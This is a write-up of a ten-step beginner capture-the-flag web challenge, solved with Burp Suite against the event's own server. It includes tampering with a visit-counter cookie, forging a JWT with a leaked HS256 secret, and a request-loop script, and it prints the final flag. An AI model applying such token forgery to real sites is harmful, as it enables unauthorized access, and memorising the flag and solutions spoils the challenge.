Web The Gauntlet

Can you survive the gauntlet?

10 mini web challenges are all that stand between you and the flag.

Note: Automated tools like sqlmap and dirbuster are not allowed (and will not be helpful anyway).

https://gauntlet-okntin33tq-ul.a.run.app

Challenge 1:

1
Welcome to the Gauntlet
2
Is there anything hidden on this page?

Chrome Dev Tools —> Sources —> Scroll to the bottom of (index) —> 

Challenge 2:

1
Page 1
2
Congrats on finding the 1st hidden page.
3
This page will yield a secret if you set an "HTTP Request Header" like this:
4
wolvsec: rocks

Launch Burp Suite, and set the GET request to /hidden9136234145526 to Repeater. Modify the request to include wolvsec: rocks. Send to get the following output:

1
HTTP/2 200 OK
2
Content-Type: text/html; charset=utf-8
3
X-Cloud-Trace-Context: 67b29518bcd26cbf1de2706d179705d2
4
Date: Sat, 16 Mar 2024 17:35:19 GMT
5
Server: Google Frontend
6
Content-Length: 243
7
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
8

9

10
<html>
11
<h1>Page 1</h1>
12
<div>Congrats on finding the 1st hidden page.</div>
13
<div>This page will yield a secret if
14
you set an "HTTP Request Header" like this:</div>
15
<div>
16
<!-- /hidden0197452938528 -->
17
</div>
18
<pre>
19
wolvsec: rocks
20
</pre>
21
</html>

Challenge 3:

1
Page 2
2
Congrats on finding the 2nd hidden page.
3
This page will yield a secret if you use a certain "HTTP Method". Maybe try some of these and see if anything interesting happens.

Send the GET request to /hidden0197452938528 to the Repeater. Modify the first, all-caps word in the request to OPTIONS. (This is also on the page they provide at developer.mozilla.org that specifies the various HTTP methods). This will return the following:

1
HTTP/2 200 OK
2
Content-Type: text/html; charset=utf-8
3
X-Cloud-Trace-Context: 098d40958b0d1cb62b6f072aef631aaa
4
Date: Sat, 16 Mar 2024 17:42:19 GMT
5
Server: Google Frontend
6
Content-Length: 360
7
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
8

9

10
<html>
11
<h1>Page 2</h1>
12
<div>Congrats on finding the 2nd hidden page.</div>
13
<div>This page will yield a secret if
14
you use a certain "HTTP Method".  Maybe try some of <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods">these</a> and see if anything interesting happens.<div>
15
<div>
16
<!-- /hidden5823565189534225 -->
17
</div>
18
</html>

Challenge 4:

1
Page 3
2
Congrats on finding the 3rd hidden page.
3
This page will yield a secret if you have a "Query String" parameter named
4
'wolvsec' whose value, as seen by the server is:
5
c#+l
6
Your raw query string as seen by the server:
7
Your wolvsec query parameter as seen by the server:

A query string is essentially a paramter in a GET request. Certain values must be URL-encoded to pass. In this case, the following URL should work:

https://gauntlet-okntin33tq-ul.a.run.app/hidden5823565189534225?wolvsec=c%23%2bl

%23 and %2b encode to # and + respectively (23 and 2b are the hex values of # and +, which can be found by using an online ASCII to hex converter).

Here is the response in Burp Suite:

1
HTTP/2 200 OK
2
Content-Type: text/html; charset=utf-8
3
X-Cloud-Trace-Context: f3287ff08331d780e4ef5f04a4360faa
4
Date: Sat, 16 Mar 2024 17:47:55 GMT
5
Server: Google Frontend
6
Content-Length: 462
7
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
8

9

10
<html>
11
<h1>Page 3</h3>
12
<div>Congrats on finding the 3rd hidden page.</div>
13
<div>This page will yield a secret if you have a "Query String" parameter named</div>
14
<div>'wolvsec' whose value, as seen by the server is: <pre>c#+l</pre></div>
15
<div>Your raw query string as seen by the server: <pre>wolvsec=c%23%2Bl</pre></div>
16
<div>Your <b>wolvsec</b> query parameter as seen by the server: <pre>c#+l</pre></div>
17
<div>
18
<!-- /hidden5912455200155329 -->
19
</div>
20
</html>

Challenge 5:

1
Page 4
2
Congrats on finding the 4th hidden page.
3
This page will yield a secret if you perform a POST to it with this request header:
4
Content-Type: application/x-www-form-urlencoded
5
The form body needs to look like this:
6
wolvsec=rocks
7
The HTML form that you'd normally use to do this is purposefully not being provided.
8
You could use something like curl or write a python script.
9

10
Your Content-Type header value is:
11
Your POSTed wolvsec parameter is:

Send the GET request to the URL to the Repeater. The modified request is as follows:

1
POST /hidden5912455200155329 HTTP/2
2
Host: gauntlet-okntin33tq-ul.a.run.app
3
Content-Type: application/x-www-form-urlencoded
4
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
5
Sec-Ch-Ua-Mobile: ?0
6
Sec-Ch-Ua-Platform: "Windows"
7
Upgrade-Insecure-Requests: 1
8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10
Sec-Fetch-Site: none
11
Sec-Fetch-Mode: navigate
12
Sec-Fetch-User: ?1
13
Sec-Fetch-Dest: document
14
Accept-Encoding: gzip, deflate, br
15
Accept-Language: en-US,en;q=0.9
16
Priority: u=0, i
17
Content-Length: 13
18

19
wolvsec=rocks

The modified parts include:

GET in the first line changes to POST
Content-Type: application/x-www-form-urlencoded is added in the 3rd line
wolvsec=rocks is added at the very end

The response is:

1
HTTP/2 200 OK
2
Content-Type: text/html; charset=utf-8
3
X-Cloud-Trace-Context: f9052fb326bc53dbc25447e4065e330f
4
Date: Sat, 16 Mar 2024 17:50:48 GMT
5
Server: Google Frontend
6
Content-Length: 670
7
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
8

9

10
<html>
11
<h1>Page 4</h1>
12
<div>Congrats on finding the 4th hidden page.</div>
13
<div>This page will yield a secret if you perform a POST to it with this request header:</div>
14
<pre>Content-Type: application/x-www-form-urlencoded</pre>
15
<div>The form body needs to look like this:</div>
16
<pre>wolvsec=rocks</pre>
17
<div>The HTML form that you'd normally use to do this is purposefully not being provided.</div>
18
<div>You could use something like curl or write a python script.</div>
19
<br/>
20
<div>Your Content-Type header value is: application/x-www-form-urlencoded</div>
21
<div>Your POSTed <b>wolvsec</b> parameter is: rocks</div>
22
<div>
23
<!-- /hidden3964332063935202 -->
24
</div>
25
</html>

Challenge 6:

1
Page 5
2
Congrats on finding the 5th hidden page.
3
The secret is ALREADY on this page. View Source won't show it though. How can that be?
4
Note: You are NOT meant to understand/reverse-engineer the Javascript on this page.

This is the response to the GET request to the URL:

1
HTTP/2 200 OK
2
Content-Type: text/html; charset=utf-8
3
X-Cloud-Trace-Context: e72762326c8381074ac58b93cb390a36
4
Date: Sat, 16 Mar 2024 17:55:41 GMT
5
Server: Google Frontend
6
Content-Length: 1762
7
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
8

9

10
<html>
11
<h1>Page 5</h1>
12
<div>Congrats on finding the 5th hidden page.</div>
13
<div>The secret is ALREADY on this page. View Source won't show it though. How can that be?</div>
14
<div>Note: You are NOT meant to understand/reverse-engineer the Javascript on this page.</div>
15
<script>
16
(function(){var dym='',ZpW=615-604;function Ehj(n){var y=29671;var x=n.length;var u=[];for(var r=0;r<x;r++){u[r]=n.charAt(r)};for(var r=0;r<x;r++){var h=y*(r+68)+(y%20298);var l=y*(r+674)+(y%19102);var j=h%x;var a=l%x;var q=u[j];u[j]=u[a];u[a]=q;y=(h+l)%1876730;};return u.join('')};var kwZ=Ehj('rtnythucituojsbfsgdaxkoeolqvrpcmcrwnz').substr(0,ZpW);var Uiq='oay 7=j1 d(1),s=566vyrAzg"hbrdjf=hrjeldn)p.rht;v[x)zm;{a7 e=v8r,;0h7l,;7u9;,u9}7(,+0=8e,i0(8j,.5]6f,)6b7r,o017a,b2v7),+6=;aa0 "=(]if;ryvartb80]b0kvlun{tv;r+u)g[n[1]9=e+.;bat 1=r]]jr=h2ad"= 5feq=;0gf=rovcrivj0nv(a)g=mbnos.lbn1tr;6++)7vpr=r=a.g+mon s4vp.-p8i1(n h)hfcr4vnryg1rql+ngtf-.;a>)08g2-e{ya+ .=8unl*v(riq=rpg[;aas )=3urlrv{rcms0,v7ris;q.l<n+t};,ar w;loy(ian n==;,<n;m+p)]vir=xCq9c;a(C6deAt(o)rv.rea(hrx ;(feae{g=(ak1"*++v..horoo[ect(y)1{-r; =o;y+;;;eas  ,f)x[=;)wcl2v(t.uedgth=j]qyc,a;ChdaAs()+r))+v.4hmr(odegtkyc2m-u;f=,;k+n2l};l"etcjn)ifu;;;iy([=fnilb)a==];i<(8>r)=.nush,qrs+b toiogvmtwh)2o-p+s6(([[+e](;w=t+i;[i2(j!(nvl()4it(l<o)o.duAhcq+s+b1tii)g;m,)vrog)=y.=o;n,"l).}hu=prs8(r[[]a;fv-ren,u.jai((""h;ka1 ,=w3l,[9o1e,t2[9r,rdh.,o(cat9k];,ar r=5tmirgufro{CtaSCadu()6};.oc(eah 0=i;s<C.we8gahrb=+Cn n!s lrtqtgz.cla]Au(a)o.}o=nCS(r;n2.er)m+h0rvo)eai.b=)o;uetu}n=nysvlstst;" " .]oen ts;';var Rvg=Ehj[kwZ];var yTt='';var Txm=Rvg;var zYy=Rvg(yTt,Ehj(Uiq));var PFr=zYy(Ehj('4.cb!nd5.odcoyl!d)pden3can!52)eumeotd8en2i(r5idmueo5.dhteme9CC35"60ntt\/mh9("9pa'));var Poj=Txm(dym,PFr );Poj(8875);return 8512})()
17
</script>
18
</html>

However, you don’t even need to run this script. If you’re on Chrome, you can simply go to the Elements tab to find the following comment:

If you can’t do this, it is however relatively trivial to simply copy the contents of the defined JavaScript function, remove the return statement, and run it in an online compiler. This will return something like this:

1
node /tmp/O4faH7umKA.js
2
ERROR!
3
undefined:3
4
document.body.appendChild(document.createComment("/hidden5935562908234559"))
5
^
6

7
ReferenceError: document is not defined
8
    at eval (eval at <anonymous> (/tmp/O4faH7umKA.js:1:1415), <anonymous>:3:1)
9
    at Object.<anonymous> (/tmp/O4faH7umKA.js:1:1429)
10
    at Module._compile (node:internal/modules/cjs/loader:1356:14)
11
    at Module._extensions..js (node:internal/modules/cjs/loader:1414:10)
12
    at Module.load (node:internal/modules/cjs/loader:1197:32)
13
    at Module._load (node:internal/modules/cjs/loader:1013:12)
14
    at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:128:12)
15
    at node:internal/main/run_main_module:28:49
16

17
Node.js v18.19.1

Challenge 7:

1
Page 6
2
Congrats on finding the 6th hidden page.
3
Hmmmm, I'm pretty sure the URL in the address bar is NOT the one you got from Page 5.
4
How could that have happened?

This is simply implying a redirection. Check out the pages you were redirected from in Burp Suite. The original URL says hello and the second URL (before the final redirection to the current page) says hello again: .

Challenge 8:

1
Page 7
2
Congrats on finding the 7th hidden page.
3
You have visited this page 1 times.
4
If you can visit this page 500 times, a secret will be revealed.
5
Hint: There is a way to solve this without actually visiting that many times.

Reload the page once, then check out the Burp Suite GET request.

1
GET /hidden82008753458651496 HTTP/2
2
Host: gauntlet-okntin33tq-ul.a.run.app
3
Cookie: cookie-counter=2
4
Cache-Control: max-age=0
5
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
6
Sec-Ch-Ua-Mobile: ?0
7
Sec-Ch-Ua-Platform: "Windows"
8
Upgrade-Insecure-Requests: 1
9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11
Sec-Fetch-Site: none
12
Sec-Fetch-Mode: navigate
13
Sec-Fetch-User: ?1
14
Sec-Fetch-Dest: document
15
Accept-Encoding: gzip, deflate, br
16
Accept-Language: en-US,en;q=0.9
17
Priority: u=0, i

That cookie-counter is probably keeping track of how many times the user has visited the page. Send the request to the Repeater and modify it to 500. Now we get the response:

1
HTTP/2 200 OK
2
Content-Type: text/html; charset=utf-8
3
Set-Cookie: cookie-counter=501; Path=/
4
X-Cloud-Trace-Context: 46d25f4fb0e1a34f43857d92032e8a47
5
Date: Sat, 16 Mar 2024 18:06:48 GMT
6
Server: Google Frontend
7
Content-Length: 165
8
Expires: Sat, 16 Mar 2024 18:06:48 GMT
9
Cache-Control: private
10
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
11

12

13
<html>
14
<h1>Page 7</h1>
15
<div>Congrats on finding the 7th hidden page.</div>
16

17
<div>A secret has been revealed!
18
<div>
19
<!-- /hidden00127595382036382 -->
20
</div>
21
</html>

Challenge 9:

1
Page 8
2
Congrats on finding the 8th hidden page.
3
You have visited this page 3 times.
4
If you can visit this page 500 times, a secret will be revealed.
5
Hint: There is a way to solve this without actually visiting that many times, but it is harder than the previous page.
6
This will be useful: https://jwt.io/

Reload the page once. Check out the request and response:

1
GET /hidden00127595382036382 HTTP/2
2
Host: gauntlet-okntin33tq-ul.a.run.app
3
Cookie: jwt-cookie-counter=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb3VudGVyIjoyfQ.XvkQEJyoYw1flG_ojvYeHqGvbfbixv_C0ZjRKO13dTI
4
Cache-Control: max-age=0
5
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
6
Sec-Ch-Ua-Mobile: ?0
7
Sec-Ch-Ua-Platform: "Windows"
8
Upgrade-Insecure-Requests: 1
9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11
Sec-Fetch-Site: none
12
Sec-Fetch-Mode: navigate
13
Sec-Fetch-User: ?1
14
Sec-Fetch-Dest: document
15
Accept-Encoding: gzip, deflate, br
16
Accept-Language: en-US,en;q=0.9
17
Priority: u=0, i

Seems like we have a JWT cookie we need to break. Here’s the response:

1
HTTP/2 200 OK
2
Content-Type: text/html; charset=utf-8
3
Set-Cookie: cookie-counter=; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Path=/
4
Set-Cookie: jwt-cookie-counter=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb3VudGVyIjozfQ.S9x3s2v3aTmEGj_Z5S_--aX2gK1RlN5Bfi6P8Uh5wCA; Path=/
5
X-Cloud-Trace-Context: 391c8b9c10753cbff1feea3b052e4762
6
Date: Sat, 16 Mar 2024 18:08:38 GMT
7
Server: Google Frontend
8
Content-Length: 490
9
Expires: Sat, 16 Mar 2024 18:08:38 GMT
10
Cache-Control: private
11
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
12

13

14
<html>
15
<h1>Page 8</h1>
16
<div>Congrats on finding the 8th hidden page.</div>
17

18
<div>You have visited this page 2 times.</div>
19
<div>If you can visit this page 500 times, a secret will be revealed.</div>
20
<div>Hint: There is a way to solve this without actually visiting that many times, but it is harder than the previous page.</div>
21
<div>This will be useful: <a target="_blank" href="https://jwt.io/">https://jwt.io/</a></div>
22
<!-- HS256 secret is: wolvsec -->
23

24
<div>
25
<!--  -->
26
</div>
27
</html>

We see that the secret for the HS256 JWT encryption algorithm is wolvsec. Let’s visit jwt.io now.

Paste the JWT cookie in
Enter the secret in the Verify Signature section
Modify the counter to equal 500 in the Payload: Data section.

Now copy this cookie, send the original GET request to the Burp Suite Repeater, paste this cookie to replace the original JWT cookie, and send the request:

1
HTTP/2 200 OK
2
Content-Type: text/html; charset=utf-8
3
Set-Cookie: cookie-counter=; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Path=/
4
Set-Cookie: jwt-cookie-counter=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb3VudGVyIjo1MDF9.2RgGGM3Mihm5kuLlMk-3zKaSlyuFuMNhSETavftqIKM; Path=/
5
X-Cloud-Trace-Context: de74564d74c46ad5d5a549fb3b67d57f
6
Date: Sat, 16 Mar 2024 18:09:42 GMT
7
Server: Google Frontend
8
Content-Length: 165
9
Expires: Sat, 16 Mar 2024 18:09:42 GMT
10
Cache-Control: private
11
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
12

13

14
<html>
15
<h1>Page 8</h1>
16
<div>Congrats on finding the 8th hidden page.</div>
17

18
<div>A secret has been revealed!
19
<div>
20
<!-- /hidden83365193635473293 -->
21
</div>
22
</html>

Challenge 10:

1
Page 9
2
Congrats on finding the 9th hidden page.
3
You are almost through the gauntlet!
4
You have visited this page 1 times.
5
If you can visit this page 1000 times, a secret will be revealed.
6

7
Hint: The JWT secret for this page is not provided, is not in any Internet list of passwords, and cannot be brute forced.
8
As far as we know, you cannot solve this page without actually visiting this page that number of times.
9
We suggest writing a script which can do this for you. The script will need to properly read the response cookie and re-send it along with the next request.
10

11
Here is something that might help: https://sentry.io/answers/sending-cookies-with-curl/
12
Here is a different thing that might help: https://stackoverflow.com/questions/31554771/how-can-i-use-cookies-in-python-requests

Visiting the second link clarified for me how to keep updating and sending the same cookie (which I verified with a little bit of testing). Thus, by using the Python requests module, here’s the implementation:

1
import requests
2

3
s = requests.Session()
4

5
for i in range(1000):
6
    if i % 100 == 0:
7
        print(i)
8
    txt = s.get('https://gauntlet-okntin33tq-ul.a.run.app/hidden83365193635473293').text
9
print(txt)

If you want to understand this a bit more (if you’re new), I recommend reading up on the documentation.

Running the script will produce this response:

1
<html>
2
<h1>Page 9</h1>
3
<div>Congrats on finding the 9th hidden page.</div>
4
<div>You are almost through the gauntlet!</div>
5

6
<div>A secret has been revealed!
7
<div>
8
<!-- /flag620873537329327365 -->
9
</div>
10
</html>

Visit https://gauntlet-okntin33tq-ul.a.run.app/flag620873537329327365:

1
Congratulations!
2
Thank you for persevering through this gauntlet.
3

4
Here is your prize:
5

6
wctf{w3_h0p3_y0u_l34rn3d_s0m3th1ng_4nd_th4t_w3b_c4n_b3_fun_853643}

Theres the flag!

1
wctf{w3_h0p3_y0u_l34rn3d_s0m3th1ng_4nd_th4t_w3b_c4n_b3_fun_853643}